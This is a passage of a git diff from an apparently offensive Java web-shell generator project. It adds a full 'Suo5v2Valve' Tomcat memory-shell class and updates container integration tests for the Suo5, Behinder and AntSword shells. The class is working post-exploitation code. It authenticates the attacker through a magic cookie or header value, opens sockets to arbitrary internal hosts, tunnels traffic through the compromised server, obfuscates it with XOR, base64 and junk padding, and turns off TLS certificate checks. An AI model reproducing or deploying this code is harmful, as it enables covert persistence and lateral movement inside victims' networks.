baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Valve(tunId, 1)).start(); + new Thread(new Suo5v2Valve(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } + + protected Valve next; + protected boolean asyncSupported; + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 0193eb47..18233e97 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -233,7 +233,8 @@ public class ShellAssertion { behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); break; case Suo5: - suo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); + case Suo5v2: + suo5IsOk(shellTool, shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); break; case AntSword: antSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig())); @@ -300,8 +301,8 @@ public class ShellAssertion { assertTrue(behinderManager.test()); } - public static void suo5IsOk(String entrypoint, Suo5Config shellConfig) { - assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue())); + public static void suo5IsOk(String shellTool, String entrypoint, Suo5Config shellConfig) { + assertTrue(Suo5Manager.test(shellTool, entrypoint, shellConfig.getHeaderValue())); } public static void antSwordIsOk(String entrypoint, AntSwordConfig shellConfig) { @@ -342,6 +343,7 @@ public class ShellAssertion { log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName); break; case Suo5: + case Suo5v2: shellToolConfig = Suo5Config.builder() .headerName("User-Agent") .headerValue(uniqueName) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index 81d032ca..41f499bb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -3,10 +3,12 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.apache.commons.lang3.tuple.Triple; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; @@ -49,12 +51,12 @@ public class GlassFish3ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) + .waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)) .withExposedPorts(8080); @BeforeAll static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + container.waitingFor(Wait.forHttp("/app")); } static Stream casesProvider() { @@ -67,7 +69,11 @@ public class GlassFish3ContainerTest { ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + List> unSupportedCases = List.of( + Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty + Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty + ); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index bb7e7d06..a2a4d4e2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -48,7 +48,7 @@ public class Payara5201ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -66,7 +66,7 @@ public class Payara5201ContainerTest { @BeforeAll static void setup() { - container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + container.waitingFor(Wait.forHttp("/app")); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index e6fbf79e..ff983028 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -48,7 +48,7 @@ public class Payara520225ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -66,7 +66,7 @@ public class Payara520225ContainerTest { @BeforeAll static void setup() { - container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + container.waitingFor(Wait.forHttp("/app")); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index f1a085fe..75c6bec0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -39,7 +39,7 @@ import static org.hamcrest.MatcherAssert.assertThat; @Slf4j @Testcontainers public class Wildfly9ContainerTest { - public static final String imageName = "jboss/wildfly:10.0.0.Final"; + public static final String imageName = "jboss/wildfly:9.0.1.Final"; static Network network = Network.newNetwork(); @Container public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java index 9648c46f..1dfde1db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java @@ -30,7 +30,7 @@ import static org.junit.jupiter.api.Assertions.assertEquals; @Slf4j @Testcontainers public class Wildfly9ContainerTest { - 